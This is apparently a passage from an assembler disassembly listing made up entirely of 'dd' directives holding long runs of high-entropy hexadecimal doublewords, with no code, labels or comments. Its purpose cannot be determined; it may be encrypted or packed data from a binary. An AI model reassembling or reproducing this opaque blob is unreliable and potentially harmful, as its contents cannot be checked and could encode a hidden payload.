85F8BE48h, 49B321BEh, 0C9590DA4h, 0B5C50942h dd 0D34FEE55h, 0B3BA185Bh, 0E8E16087h, 0A22FF31Ah, 380DBD40h dd 3FC50150h, 2CD0BF0Bh, 0F8AD74B4h, 8BCCD2E4h, 0ACF3B4CAh dd 11A13BE5h, 0FC6543B1h, 74A359F3h, 0A910F445h, 309C141Dh dd 0F1D50560h, 0FCE14751h, 40CF8667h, 0C30A9D73h, 0AA2047EFh dd 277EFC12h, 59DF4D60h, 0BDCBD240h, 39679F33h, 12B1E8DBh dd 67254C0Dh, 8613C7F6h, 8E9AF1A9h, 2B970FE7h, 415E522Bh dd 0A8925B29h, 5C538B6h, 0CF383ECEh, 49F41603h, 0E9EF8549h dd 0C9D0642Ah, 0B5034558h, 0D444C683h, 0D65408DDh, 192F790Fh dd 1D03D769h, 21F1E2E1h, 12819A87h, 0C306023Ch, 6851BC45h dd 836A4042h, 8674B96Bh, 9FF8D8C4h, 0A5064EBCh, 0AB6DF963h dd 0A3282346h, 4B31E84Bh, 0EED67EE3h, 52872442h, 9AADE8CAh dd 320F6F15h, 0B37FDBD9h, 687E50C5h, 656C1801h, 5B8142ACh dd 15B0782Ch, 790D8190h, 0E5B8DFADh, 0D5163823h, 63B1D744h dd 68B29F77h, 0AE08499Dh, 4D5F192Eh, 0AAC2286Ah, 368BF41Fh dd 0B9EC5Ch, 9B8B3062h, 0F95E50A6h, 7EC4962h, 0DAFA3575h dd 0A39AA94Ah, 0CC00D10Dh, 231BC95Dh, 47F2E0E3h, 0FC68AF6Dh dd 809F7A50h, 51555DFDh, 0E3F0C127h, 0B9B4B72h, 7B915D1Fh dd 8C0A3EE9h, 62F0F5EBh, 65C3CCE5h, 0FA46ED50h, 0C8CF566Ah dd 2980D611h, 2F24F8D3h, 75967019h, 182079FFh, 0C495E5ADh dd 21DAFD12h, 4DAE0E37h, 2FF1308Ah, 0A638E04h, 6CF62DBEh dd 0FFE68FDDh, 2937DAD9h, 0A2E02EE1h, 0B8E42FA5h, 0B32E801h dd 70E6B547h, 7D406C22h, 957950DDh, 0B7CAA3BFh, 0C593B18Ah dd 601F0Fh, 0C8493ACAh, 0B76087A8h, 0CBA556E7h, 92335CCBh dd 0D7BB182Bh, 0DC7EA9A5h, 0FC5E30DBh, 987BCA7h, 0C5442B03h dd 90903D42h, 9278B0DAh, 0A3DF2073h, 0CA155E23h, 0CE70F5D4h dd 7C0E2ECh, 0D923520Bh, 0B2496665h, 0C9F90E8Bh, 85C19AA6h dd 7F2E3CF7h, 0B3AAE0D2h, 910704Fh, 0ED243D4Ch, 70354908h dd 0D4E6497Fh, 0C4C7E596h, 0BEEEA6CCh, 7D995D14h, 27191502h dd 0B9867D3Ch, 548845B1h, 8BF6A8C3h, 0F59756Bh, 4D7FAB1Ah dd 0BE83D0FFh, 4C10EAA4h, 5CFC629Ah, 0BC1E75ECh, 0FFB5EAB5h dd 0DBC69BD8h, 0BD2504F8h, 35E8E3CFh, 0E2D6ECC5h, 0C1F4EF28h dd 82586627h, 88DF4AC1h, 0BA2E1E9Bh, 82A710FEh, 60457D7Eh dd 1CCEF76h, 371142BFh, 971E7C5Bh, 1658B192h, 0B3FDE71Dh dd 0C6027D3h, 0C69D4944h, 755C2F03h, 2A2358h, 0B7DB5660h dd 0FE0AADBh, 0B30EFF25h, 0E4BDDBACh, 66715E64h, 0EF247A1Dh dd 0A4773191h, 5CED2FFh, 49F65CA4h, 5FAF07BFh, 1D40D928h dd 1E4E7C59h, 489F470Ch, 12EC79FEh, 0B689188Fh, 36F7436Fh dd 1DB49A49h, 0EFBEF340h, 0F5D76E76h, 0BB86BE2h, 46F91634h dd 30161299h, 808900E8h, 9C5F880Bh, 815EE1B6h, 6F92E923h dd 98D0B03Ch, 0F732BE72h, 3B9CAA87h, 733CC686h, 1B5D8D9Fh dd 523D825Dh, 0A49C7BCFh, 0EE9693CEh, 0CB88745Bh, 0EB304D62h dd 0DCB639FAh, 0AA380C56h, 0DA98ADB2h, 29EFFB5Fh, 7996B1DDh dd 359FC156h, 0F2D60DB9h, 0D0A40600h, 10F3D393h, 164AB271h dd 6A52E46h, 0DA5D78C6h, 99711D48h, 0E0C3E9F8h, 0CD3EF3A9h dd 0A25CF21Eh, 63118C3h, 0B9E161BCh, 7BF264C6h, 0FA7139D7h dd 49B0ADABh, 37F86358h, 6EE78056h, 0BFEE095Bh, 1F7934BDh dd 0AA5FE018h, 0E2566C4Fh, 15812D49h, 0E9D34123h, 3A845E6h dd 0D85601Eh, 70510932h, 528B9397h, 0F5D43C3h, 7E3EA945h dd 5184592Bh, 1255AEC8h, 9D20FA4h, 1FC5EF9Ah, 98B29057h dd 0BB49A888h, 2EB3B652h, 940B130Ch, 0A209F56Dh, 0E3FDC873h dd 2ECDE6Dh, 0DE79B4D1h, 74E78599h, 0E21EEFCCh, 714853D4h dd 784D0FD6h, 22F0236Ah, 0B9CC0C51h, 0E21DB312h, 6DD23250h dd 5F907ED6h, 0BAF0257Bh, 385911FDh, 0ED1F07CCh, 0DD0938B5h dd 0CEB7D08Fh, 0B4936738h, 1E710007h, 0FE2A6E46h, 0C2F52997h dd 0CCB92F60h, 49E5883Bh, 0F49AF70Eh, 6D95CD17h, 35D9EF24h dd 0C8B7E621h, 0F5EC04E3h, 0FD3E938Fh, 0CDDA9CB9h, 0B33387DFh dd 0EAFA3279h, 7809E5ABh, 8AFABC48h, 3941CEEFh, 2FCDE06Ah dd 0CD6C3332h, 360969B9h, 0AC96E46Eh, 61FF1CF5h, 5FD7A06Dh dd 1C2A0088h, 0BABAB3F8h, 46FC914Bh, 22D27B7Ch, 7BD6E7A9h dd 651B8ACBh, 21B251DEh, 0B513EAA9h, 0DBEB7890h, 0D8F7CEAAh dd 973B91E7h, 4E574C11h, 8267969Eh, 0CD529F92h, 22F571B6h dd 8A5EEC18h, 59CA3408h, 51792DB3h, 0D1B0A934h, 1BF3908Fh dd 64A9D494h, 0AD0D1E07h, 4372B79Eh, 0BC2FBE0Bh, 7CC45512h dd 85AFAE32h, 0BD2BE053h, 45215050h, 39B47063h, 6EB5DFA6h dd 715C0A8Ch, 713AB3FEh, 0B0A89C3Bh, 0BE4E9844h, 7FAA6FCBh dd 1790C0B6h, 526AFCF1h, 78587588h, 0D48410F2h, 0FC72085Dh dd 0D8D229C8h, 9E33A224h, 0BADC6B6Fh, 0DCFC2ACh, 0AE9CEB0Eh dd 949F1299h, 0C798883Dh, 0BA9FFF88h, 0ABEF675Bh, 63B8C8E5h dd 0AF8CD8B4h, 0F7104F18h, 0BC9F36C4h, 8EA89530h, 0D0507C95h dd 6038F973h, 4BE52F22h, 0ADE5DED3h, 0F2B38CECh, 0E9C591E0h dd 78B7D9A5h, 0DDE341FDh, 0FEAF47E7h, 0C918EAE9h, 0A76DAACDh dd 0AEF8B88Ah, 0F2FB4C26h dd 0D3A4787h, 0AE204909h, 3600E93h, 0F12E63ABh, 0A77A3F4Eh dd 0D1774AEAh, 0F2EF6946h, 8A765138h, 34362182h, 0CC6FC47Bh dd 793EDC01h, 8263AE97h, 992C6621h, 550380C9h, 0A2D0A779h dd 8858057h, 1F8362BAh, 79A53DC1h, 0E412F170h, 0A4E3BDBCh dd 3C67E8B8h, 0BB471B8Dh, 1431F754h, 4520CF34h, 5768C72h dd 0FD542170h, 0E01E1108h, 1FE01522h, 0BEB47080h, 0A9C23F4Eh dd 2C1B2CFCh, 0DCD0C4C9h, 0FE926696h, 1B6E722Ch, 169D0D1h dd 88832036h, 0F6B43AD1h, 9C045E6Eh, 0E9D720A2h, 9475A7B6h dd 0BEE9E2D6h, 0F88A2EDh, 880694F1h, 0EB0122D4h, 3CBC6F0Fh dd 964D2748h, 22D09AEBh, 0D1A92F01h, 0D5183F09h, 1653ACF5h dd 2A804AF4h, 6055C4A8h, 8277F529h, 0FD4C3FC9h, 0E5F200C9h dd 8FD50B4Dh, 0F9CC081Bh, 0C19B67D6h, 0CBAA7921h, 0BAD179EDh dd 59836AE5h, 240B42BBh, 33787C0Fh, 848121A7h, 0C9FFF52Fh dd 0C64E6227h, 66927629h, 0DC8A4701h, 43CC9FB9h, 63DFC602h dd 691753EEh, 6A532890h, 47387DF7h, 3C39E63h, 0ACA7393Ch dd 42ECD01Fh, 0FDC11F70h, 3573D48Ah, 6C81BC13h, 1A77F246h dd 0B8E957F5h, 0CD193DE9h, 8D94A739h, 5D742F51h, 663F9E55h dd 0E7AEACE1h, 0F1F4F4AFh, 1EE37359h, 0DDE2F00h, 20D7C972h dd 5D139F2Eh, 0FA28C888h, 0A8D2FE78h, 8507E971h, 82B49765h dd 3DE292CDh, 2C1F672Fh, 7738D5D1h, 0CA5AE367h, 0F92A3042h dd 403CC6ACh, 0E87D92E3h, 944EEA61h, 0A8BBEA9Fh, 0A5DA19C8h dd 691133D2h, 0B5CA4BF5h, 93B94103h, 0A0C196B4h, 40A2AF65h dd 0EC70E9D1h, 9FDE5526h, 0BDEA3C08h, 0B2C8444h, 5AC9ADCAh dd 0DF07C6BDh, 5E424EADh, 0A5981D6Bh, 866F9FAAh, 0F5E0096Fh dd 0F84C4C3Ch, 6E589BDBh, 664B4A3Eh, 0DAC17BE6h, 39A9207Ch dd 0D8DB44BBh, 0AACC1A33h, 568E7748h, 0DF2ED19h, 5408C793h dd 0DB34C251h, 95A429F8h, 7F43E837h, 0CF134DC1h, 0CE0D80ADh dd 424DCFD7h, 0DC76C6EAh, 3411542Fh, 2EB96DC9h, 0E8E7C7D6h dd 66E6DABBh, 6939A3DCh, 0E4AF7207h, 56BB10B9h, 0BEEDDAA8h dd 0B1578519h, 0E034AF96h, 0BE48E299h, 9831F486h, 8F2C751Ah dd 5F6A315Eh, 96DDCFCFh, 0EFE8034Ah, 4D048E8Eh, 0AEFF110Ch dd 914CDCDDh, 0F89B7B2Ah, 94CFEDD8h, 53F2AD17h, 7B2EA2CDh dd 1065FD01h, 0C6CDEE75h, 6E67EC0Bh, 0BAAD383Bh, 568414ACh dd 50BF5F26h, 21011B7Fh, 795EF190h, 642AEFCCh, 0BC6CC511h dd 43C3E9D3h, 85DD3A83h, 293D1BCBh, 2A549742h, 4C62966Eh dd 3957E03Eh, 3EEA5139h, 33E6FDADh, 0ECA60B5Ch, 9415DF43h dd 0D3D4C29Eh, 0A63B8FCAh, 9F81727Fh, 0CF123577h, 5D3DCA49h dd 4DE85A14h, 5A74EB3Fh, 5323C458h, 0EC96EF61h, 6A91F444h dd 2F01CEBBh, 0B2092682h, 4162E083h, 0FFAEFFEFh, 57CC1C90h dd 74D47F1Dh, 0C5570DD3h, 548888E2h, 801304FFh, 0B3A04DF9h dd 94125759h, 0ECC43B0Fh, 44ED89DEh, 0AC89ECF3h, 51DA7AB6h dd 0C258E5F4h, 0A54109E7h, 310FEC03h, 0CFA87576h, 35FBC656h dd 0D4557755h, 0EFABF962h, 3A0B8358h, 76470E61h, 4C07C9FEh dd 14CB37BCh, 80BEBB94h, 4939AEE5h, 33FAA0FFh, 0C44ACE25h dd 1EF065A9h, 52A8813Fh, 49EF6853h, 0C27F3B8Ah, 0D6C0D367h dd 0DEABA61Dh, 0B47BFECAh, 0D5DABAB1h, 0D3ADD620h, 0D68BFEDAh dd 0A14F70C3h, 8B0904DBh, 93AC4A4Bh, 69D08166h, 0CC75B4EBh dd 78A578EFh, 6D35BBE9h, 2A8B1BC6h, 5A83562h, 0A41214A6h dd 7187D845h, 83C04FC1h, 47DE304Dh, 32E23800h, 702860BBh dd 63838C4Ah, 21749B9Fh, 0B8865BBEh, 8E35986Ah, 3E9F07D5h dd 8E7931BFh, 16DE4A2Ch, 0C25C3329h, 8F05FD32h, 8B2DD918h dd 48669AC0h, 55693C9Fh, 0B6B57645h, 8E78A4B1h, 1074C0E3h dd 58E1B302h, 0C5380B1Eh, 7809C21Fh, 43CCED00h, 64D8271Ah dd 0C23F970Eh, 0A1D69583h, 6855565Bh, 605FFCD0h, 0A0F6E819h dd 0C62B3C46h, 825C2515h, 0B532971Ah, 7D0B3B95h, 0BB555D7h dd 0C841418Bh, 0D51A1DC6h, 0A3A4D3EFh, 0D1083264h, 10A0573Dh dd 21DE6577h, 0F509A647h, 0A8D9119Fh, 7E14CD60h, 0DAB76E8Eh dd 452EAFF1h, 929E7ADAh, 543C7E57h, 96DDAC79h, 0C2C935A5h dd 51EAFF0h, 2DAE861h, 6C33C1F5h, 19228C7Ah, 7DC8D6F3h dd 6BE7E1Ah, 737E729Eh, 0B06C0B3Ah, 5E92A3CEh, 632C38BDh dd 0B5CDD189h, 132909BFh, 49B88150h, 2B13A162h, 0EE1288CBh dd 5ADCE042h, 49B76027h, 63C56013h, 4EA80F45h, 9AE9067Fh dd 0E33A0E80h, 0EFD7D12Ch, 0AEE61BFh, 0A1783B39h, 0D85052E0h dd 0F1E80DE5h, 0BE415246h, 251387C7h, 77D4B959h, 0E335DBB3h dd 0D72CEBEh, 8205055Bh, 6E7099C4h, 5F3004C7h, 0F443FF6Eh dd 133FB9C6h, 9EA4EFE9h, 8412022Bh, 2FA7B329h, 0CBDEE7ADh dd 9CD3A194h, 94E67708h, 0EDBECB1Eh, 5A8471F8h, 1FA5E532h dd 458EB52Fh, 3D8D2512h, 0CBA3C7B5h, 65FBFE9Bh, 698F313Dh dd 91DD6869h, 0BE142A84h, 0DC0ABDA8h, 8FFD5DB6h, 84973E46h dd 0A9FB266h, 136DED47h, 9D1C7B49h, 0F0C6570h, 0DBF131DFh dd 0BDE12D4Ch, 28B5EF30h, 8CD4A805h, 0BC9B9E14h, 0AB8DEE91h dd 0C88087DDh, 3CB25DBCh, 0C420B953h, 93830B2h, 396E1D17h dd 95DE85E0h, 2C6F49EEh, 3201DFE4h, 0C2A12F7Eh, 43DEB08Bh dd 0FC68CADCh, 43FB68B4h, 0D34D22BFh, 8CB28AABh, 28675891h dd 0C5AD734Fh, 0B294ADh, 7242EE87h, 11E94862h, 0F53242F2h dd 253DDAD7h, 0C9827757h, 724E64A9h, 9F0F5C0Fh, 0A22018A2h dd 9ED43AC1h, 0D94ECDCh, 0E9170EFBh, 1605CE76h, 8FB6A310h dd 0BA0F16BEh, 546A2836h, 0C2494CCFh, 0D3BC521Eh, 0A3A5FA01h dd 6A81F037h, 0EC5B8C7Bh, 4D827F27h, 0B6A9B401h, 12899365h dd 256F8F60h, 4F334D4Ch, 7EB5D9A5h, 0A2288A40h, 41349AA7h dd 4E8C7B7Ah, 72E6DF80h, 0FD05D4F5h, 1850556Eh, 5F8291Dh dd 74102ECFh, 0BB705DFFh, 0A5AAB1AEh, 22694A33h, 30FEB70Ch dd 0E03B7FB0h, 0B5E098B3h, 0A5C15D22h, 0A7623F81h, 0A0A72CCEh dd 3979A64Eh, 0EA4960A1h, 0A3ADB415h, 3F38DA34h, 71E21019h dd 0A5B187AFh, 36CED000h, 9E7C1024h, 7E6E0531h, 9D95E472h dd 82B68E2h, 6502590Dh, 0D099E495h, 0B48330FFh, 103C661Eh dd 905D7A4Ah, 6617BF3Ch, 0FC880EFFh, 0F0368451h, 0DF1E5CB5h dd 0DFFF8D5Dh, 65B37079h, 27686A3h, 63EA8287h, 0A850CD99h dd 5EFBD077h, 0E6CB3C92h, 23F6C3ADh, 0AC61AD76h, 91DB5C52h dd 0AEB6F916h, 0A4C8DCFDh, 0D3179979h, 1609BB25h, 60A2D983h dd 0F4112580h, 0E509B275h, 6ADB3F76h, 57A48232h, 9565E199h dd 0E2D457Bh, 944AA333h, 5CC5A40h, 43BBBA22h, 791C6883h dd 0ED159908h, 4D0BEF1Fh, 5ACF5D2Fh, 0ED8F42FFh, 0AA356ED9h dd 11D54B74h, 4039DC79h, 1471F803h, 12289FF8h, 0C3156C31h dd 7B2FE48Eh, 5E339039h, 0B4A31DA7h, 3BCB0791h, 0B459977Fh dd 0C9588B6Eh, 7C76CC3h, 0EFC055AEh, 1E325393h, 0A3E08457h dd 0A8C5353Ch, 9D343176h, 0B17EAFB8h, 889959EBh, 48CEC70Eh dd 5840B855h, 8796B016h, 2A4636E0h, 0D7301144h, 724C89B2h dd 2F79B5E7h, 37D687EFh, 8757FEB9h, 7544CA6Fh, 94014F7Dh dd 2DA1D937h, 52A249B5h, 0C0E87AD0h, 0F0837812h, 0E53837E8h dd 7D4D4CC0h, 2355EF19h, 0FA650378h, 5F9342ACh, 0DCC4CC1Fh dd 0A96BC12Ah, 94D4BEABh, 312439FDh, 0AB032749h, 79FC71DCh dd 2B066A13h, 0E5F4CFF2h dd 0AFD7A815h, 9358E3EAh, 4A7BA918h, 72A9B191h, 0A8AA34CBh dd 0E73E4C46h, 5B2D0FCFh, 3B229A01h, 18B8F54Dh, 93CC70AAh dd 4561DF96h, 0CB9BC802h, 0D64CB029h, 0C30ABC61h, 0C95E670h dd 0D67D4569h, 0EB41C45Ah, 0B22F9C49h, 0F5CB8D73h, 648EB8Fh dd 0B1C8614Fh, 1556BE19h, 6AAA52FFh, 0FC0A91E4h, 16C74FE7h dd 649C059h, 8C8EFCD4h, 1844D293h, 31B3215Dh, 3F3AE38Dh dd 51B0348Fh, 0B0681685h, 21A909F0h, 0E4233B3Fh, 31B796B8h dd 64DE479Bh, 0F462F57Fh, 0EF5FEC4Ch, 4D2C8A24h, 871CEF6Eh dd 974D9C66h, 0BE4CB657h, 0D9FC2CB6h, 7ED79359h, 38641326h dd 52D4CEEBh, 0C0AD814Fh, 0D4440D62h, 0F60E53A5h, 0D83ACE77h dd 840ACDADh, 375CF3EAh, 0A05254BDh, 2439AF9Eh, 745E3724h dd 0C433BBFAh, 0E8CA3FCAh, 0D023FA58h, 3CC7C592h, 0AC5A11EEh dd 4361049Ch, 0F444BED4h, 0E8ADD611h, 0DB5851AEh, 95FBE65Ah dd 900642D7h, 69B1D6FEh, 7214779h, 0FAEF4CDDh, 0E758132Eh dd 7660C406h, 0BE05F47Bh, 99D893CFh, 0EBEDB30h, 4FA6A50Dh dd 53482D0Fh, 0FEDFBDEFh, 0C7F9A3ADh, 0F95A5D40h, 208106C3h dd 47A3F5B3h, 92291BC1h, 0A6123EDCh, 441F9369h, 1EA01401h dd 0E7437921h, 16BBFBE9h, 4ABBA0F2h, 191EEFD8h, 45410992h dd 575625B6h, 92155163h, 991A0C59h, 5437A3Ch, 315F1D2Bh dd 604F740Eh, 5726708Bh, 9D3ED691h, 0E903E86Ch, 0D13783FDh dd 2A4D041Fh, 0E2C2651Ch, 0EBFC1552h, 0B29765B5h, 1B9E7C6Eh dd 1F56DDC9h, 1CDBC18Bh, 0FAEADA20h, 0AC18EF4Ch, 507C12F6h dd 2E31E00Fh, 0A788BD3h, 1A60DD2Eh, 92D9B55Ah, 36754AD1h dd 4F8DEA1Bh, 0B801EEAh, 19616090h, 0A8BBB3C5h, 0A6D342AAh dd 0B7B0F077h, 7DE84228h, 0D9CB57F4h, 65E9656Dh, 8DEF882Eh dd 91D97B0Bh, 0F34C2E42h, 0F5A01469h, 0A0F16231h, 59D3B1A6h dd 1707A3EEh, 4ABA52E0h, 69B5A279h, 9E89736Fh, 8496A8A8h dd 0C7FF115Eh, 0D303122Fh, 9341039Eh, 8DA864EDh, 0EE79C6Dh dd 0EC4331Eh, 0B953177Bh, 81F24332h, 0C456DE0Fh, 32D8E7F7h dd 63BA7B73h, 256AD845h, 0B35AF195h, 0A1F0758Fh, 3FBACF44h dd 0C84E6ECCh, 5B012048h, 7198D88Eh, 80496679h, 260893B7h dd 2262D10Dh, 0B4D8A82Fh, 90F53588h, 3FB51422h, 0A0B5E7Fh dd 8BDFAFA6h, 0A0175B73h, 1CC7CC44h, 131946F6h, 19C7505Ch dd 0CF5A50D8h, 54754AD9h, 778C2DFFh, 7C143921h, 9BA82952h dd 0F2A8858Dh, 0E9347EB0h, 70B5D3BDh, 0E9D7A4E6h, 0F6523D54h dd 74ECD570h, 9B6DF211h, 0A39E457Ah, 0BD358376h, 0F864DF26h dd 0F7BB9EC6h, 0CE5E8E30h, 6D1ED752h, 283DEDF0h, 5181240Eh dd 0A4E202A4h, 9F25EAF4h, 0F3BFF771h, 3A3D3C1Ch, 6B608F99h dd 24FA6725h, 0C41A9E8Ah, 78722E2Bh, 1E81A808h, 2E5F7D03h dd 0F315C8DDh, 0FE971AFh, 7B34B4FFh, 0DFE8BCA7h, 1D6D9429h dd 0E97110A0h, 6E39754h, 1392EE37h, 0E1BFDF15h, 233C91D7h dd 0B456DE7Dh, 55B3AAB8h, 5E23DB80h, 4362E78Ah, 0D46322A3h dd 0A0B31942h, 731A0E68h, 9FC4CA56h, 0B227AD52h, 3FD5E608h dd 35210A1Ch, 0A4CD0C74h, 836C9646h, 69877BADh, 9FA66303h dd 3D03DA40h, 423BB0A7h, 0F471012h, 0AD02BBD2h, 0B7A61BDAh dd 11A2F730h, 1E38EC0h, 85AFE50Ch, 4F0A2E92h, 0CBF6A095h dd 2FDACFA8h, 3EEF86D8h, 0C404B6Dh, 4BD95640h, 0E62B85EEh dd 9594AD50h, 33C41237h, 2681Ah, 7D1E116Bh, 0EC73A800h dd 8B4BA601h, 0AB0A1B57h, 38EEAD1Ah, 0BAE93BF6h, 8D61D0FFh dd 6856D6EFh, 5B97ADE1h, 0D7A486F3h, 6B538AC1h, 379A6684h dd 3F47539Bh, 0C1F25C4Eh, 0E9B2FA24h, 2804B7F2h, 0E9D63EC3h dd 0DBE8B979h, 82069480h, 0A01A9E9Eh, 0F19DC98Ah, 7C695EF8h dd 0E2865081h, 83167123h, 66CFE8DAh, 95E726A0h, 93432CD8h dd 7BFC4B1Eh, 2C111DAAh, 526A8DCDh, 0B63DEEC5h, 0E2F693D3h dd 8B43E38Bh, 3CF0562h, 49B3D798h, 5455AE82h, 0CE00C3F7h dd 0A4D5D8FFh, 44B50109h, 320E3D11h, 0FD953F03h, 54A651ECh dd 25DEB2CEh, 4B6AE441h, 21D8AF52h, 0F0911DEDh, 15210781h dd 472E71DEh, 4FF7DA10h, 4C0F5CD9h, 3417F667h, 53911A11h dd 82A9FB39h, 0C89F9404h, 0DACEFDE0h, 56CE742Ah, 5333A0E9h dd 3143C869h, 0EB0C5270h, 0A3E40213h, 4B077C6Dh, 231C2432h dd 1F9B9E1Ah, 95D0C55Eh, 6A2F7281h, 780340FBh, 15E2A16h dd 0BCC5A9ECh, 28AF0F41h, 4BC87822h, 68C9E2CAh, 0E0808862h dd 317F86CFh, 100EC96Ch, 9800B44Ah, 0D1C08E22h, 0F40B0048h dd 0A2D7518Eh, 1C4F541Eh, 0B0976644h, 457A32F6h, 535B936Ah dd 1C892892h, 0F742FD8Bh, 0B63AE38h, 2D587C7Ch, 0C19CF9F3h dd 3A57AF92h, 0F539CDCAh, 823A3338h, 3ACF7B5Eh, 0FF7AD171h dd 949EA679h, 4C3382C6h, 278B952Bh, 6E54DFBCh, 5CE8438h dd 3553B906h, 87CE886Eh, 0F95E8C90h, 0CD9B6F9Dh, 361EE881h dd 0ED3C4CC4h, 279ACEDCh, 9FB54984h, 0A8BFAF99h, 0A82EC951h dd 71A867A1h, 0E176CE59h, 196FA108h, 79298BE8h, 0FA9E1E4Dh dd 31FE14B7h, 9F0219CBh, 0F7FFA0D4h, 0EE129BC5h, 99CD14D9h dd 1A97F333h, 9EB8EAF8h, 6657E9CEh, 0BED28F19h, 0EB2DA6F3h dd 59F76C4Eh, 0AB9836Ah, 296E7AFDh, 3CCFEA97h, 0D645DD45h dd 5F59057Ah, 859B9A31h, 316A9182h, 697C7DA8h, 6A99E7BDh dd 0B321DE74h, 9AEA8D9Dh, 45806BE0h, 0E54904C2h, 27426B24h dd 7EC6A633h, 0EE90AA28h, 56F932C0h, 0B2C9CD3Bh, 234DF5DBh dd 6DC599AFh, 637B5225h, 0A24ABE9Ah, 0A1FCD8B8h, 0DCA4182h dd 0BDFEAC1Bh, 392FEB5Eh, 0DAC76E9Fh, 7CDAA2BFh, 0B2D31E24h dd 2C128B13h, 0B7FCDCE4h, 45A107EFh, 0B2B3F883h, 64288B32h dd 0ACD01C51h, 0BBAEE0E5h, 0D9F28060h, 9835FAF4h, 0B4FB9FF2h dd 0D73717EAh, 122A195Fh, 0C78C8DC6h, 0F4691DC5h, 0DB036AEh dd 3A4B977Dh, 21B31584h, 0BC980CEEh, 0F19EB3D2h, 4A149D2Fh dd 0FACB4E1h, 0C7A83523h, 5FAF1ED1h, 2C7F7A94h, 36528FBAh dd 0B75157A2h, 257C5FC0h, 2056333Eh, 0F4D25191h, 0B5430966h dd 9485C111h, 0BF7419A5h, 0B8BE7DFAh, 0B52639BCh, 851E0BC9h dd 2A0793B5h, 0D8E7FA93h, 0EA761352h, 2203B65Dh, 0B743FA45h dd 1F3162DDh, 622B09EAh, 81108751h, 0F2052DCh, 0C8119522h dd 47243C5Bh, 0C7838C5Bh, 0B3C721BCh, 4AA701Fh, 7FD8873h dd 67859463h, 0CB5B3C02h, 0B11DFF9Ch, 67767DACh, 77B1D20Fh dd 0F1F839A7h, 6F1AF4A1h, 708722AFh, 8EC4B157h, 1ADFB82Eh dd 38569C4Eh, 1B96555Fh, 0E6192396h, 525CED84h, 33EDD488h dd 940E2C3Ah, 7B80DF58h, 0F2B08D14h, 1D6A4003h, 872D7504h dd 0B9142625h, 6F79D046h, 3C04AECh, 0AB4105DBh, 7833C819h dd 0D55D672h, 11B95919h, 6F8C3D28h, 5F33E978h, 5E73B559h dd 0A0C26008h, 0CD7346B5h, 7C77B6EFh, 0CFEE3A9Bh, 0FDA25BFDh dd 87695D1Bh, 0C677D0B1h, 0F6FA639Eh, 0B8DF3D8Dh, 0F42751FAh dd 7DCF2BE5h, 0CB174AA4h, 0AB1C68E0h, 5FBA7D8Ah, 7091522Eh dd 60D1A874h, 5E18FFB0h, 1569F105h, 0F0C4D7F7h, 275D15Eh dd 8078BE7Eh, 1B9484C9h, 647DD78Fh, 0E397C864h, 2F35F5FDh dd 521C022Ah, 16DC6DA5h, 84851DC3h, 0A29C4698h, 0B2F53F2Bh dd 5AD8FE5h, 3AF5188Ch, 0AC3F4C97h, 3ED47AEDh, 9B48EC9Ch dd 389A86A7h, 52059C64h, 94447937h, 25BA1F41h, 30D98A3Ch dd 47961A91h, 35146FDCh dd 55B5FFD6h, 64BCA488h, 35C34B2Bh, 37D28386h, 0C64B0213h dd 0AA9D3F96h, 1BB65358h, 114A338Eh, 132E6BD8h, 0BE640501h dd 4A20404Fh, 0FBAE437Ch, 0CAAB22Ch, 803C7B49h, 3ED6A9C3h dd 619C2554h, 0EE8AB1BDh, 0A98FAEB8h, 9F8A57CDh, 2EEB043Fh dd 7626A5B4h, 0A45FA38Ah, 7D91B9F0h, 6D22EAA2h, 11598FE8h dd 0F2CE2F42h, 0B8ED380Ch, 381C5B70h, 0DE4AF7B0h, 0A854329Bh dd 8F8E6B40h, 5770D6Bh, 3CC3D1A0h, 967E86E0h, 29D4293Bh dd 3BF24257h, 3A8B7DDDh, 565BBE89h, 23ED147Ch, 0ABB38BD8h dd 620E92Eh, 1123B59Bh, 0DA6184E7h, 0C5F49EA5h, 75908EFFh dd 0C0B6859Bh, 0B44FF3C4h, 0C26F89D9h, 0D4FC0F7Dh, 0D01E739Eh dd 4F18164Bh, 580C100Fh, 86716EE4h, 0D400BF3Bh, 0EC31A39Fh dd 6506A260h, 732DE046h, 0EE6B2968h, 0C67FF819h, 5C73FC2Dh dd 6A49A94Dh, 6A3C0FD0h, 45D408Fh, 3DAE8946h, 0AF80D3FAh dd 0F29B15DAh, 42A48008h, 4F5BAFh, 9FF0CA2h, 0A1DF2071h dd 1076C5A1h, 2B227B0Fh, 5A6126CDh, 0CA5A3625h, 0C54484DFh dd 235D82D2h, 0A1635C5Bh, 0C00F12D4h, 0AFA0361Ah, 99F1BEC4h dd 52BF65C7h, 84D5D379h, 0AB5F430Ch, 526976Eh, 8832A691h dd 0AC233B01h, 3EABF4CDh, 0F49D509Fh, 0B12F1C2Ch, 5A97C1F2h dd 0C436F016h, 0FCFC43A3h, 5756FE79h, 6F41FF58h, 0BDE55702h dd 4BC8DF5Ch, 0BECDF44h, 46C6D804h, 9680E367h, 0F168A749h dd 0C068C8E8h, 54976B23h, 0A9325E5Eh, 92671615h, 0E7744B84h dd 139AA335h, 0EB87C85Ah, 7E5F0E0Bh, 7BC2F1EDh, 0D1E2FC64h dd 72CBFE2Bh, 0E98A2F21h, 5C78312h, 0A7CEE280h, 15F1FDCFh dd 711218E1h, 2DA86D79h, 0E6906B0h, 0B2115F0Dh, 5E4219B6h dd 6F02D43Dh, 47DB0921h, 5F7010B6h, 5738B4BBh, 4CDBC0A8h dd 7ED216BBh, 0CC1F6B6Eh, 0A8FFF625h, 5F5798B8h, 0B48E661Ah dd 3ADBD972h, 5EC9CFE3h, 6585DCD0h, 2C543F6Ah, 2BA87A07h dd 4AC20E5Fh, 491906B8h, 0E75534ABh, 2654430Fh, 0C6180599h dd 4C9B5674h, 0AA9BE12Eh, 74EC9312h, 9401FECDh, 0C317D7ABh dd 20DE214Ch, 782B4BF8h, 4A785458h, 0F9459723h, 0B4B6F921h dd 0DD61EB72h, 0AE920D19h, 89F41F42h, 0DEBDB5BBh, 47C996D9h dd 0DEF4C434h, 0C8ED42AEh, 3569A7BEh, 0D4C118DDh, 0E6064892h dd 66040A72h, 1369B04Dh, 0F9E8C52Ah, 0C5FCFE0h, 7268F81h dd 98519B57h, 0C37C8452h, 32EBC450h, 0E417AA1Fh, 0BE250B95h dd 0BA963E88h, 68CC67A4h, 9799B7B4h, 533912F3h, 45C614Eh dd 53F93141h, 45069FDBh, 0FDDC4CDCh, 0AFB91F27h, 4C10C1B8h dd 1F04475h, 0E0609A60h, 0CC7CAAF3h, 9055B94Ah, 41ABA417h dd 10131BB5h, 0EF9F26FBh, 4CF62927h, 0C7EF2FA7h, 0D0016060h dd 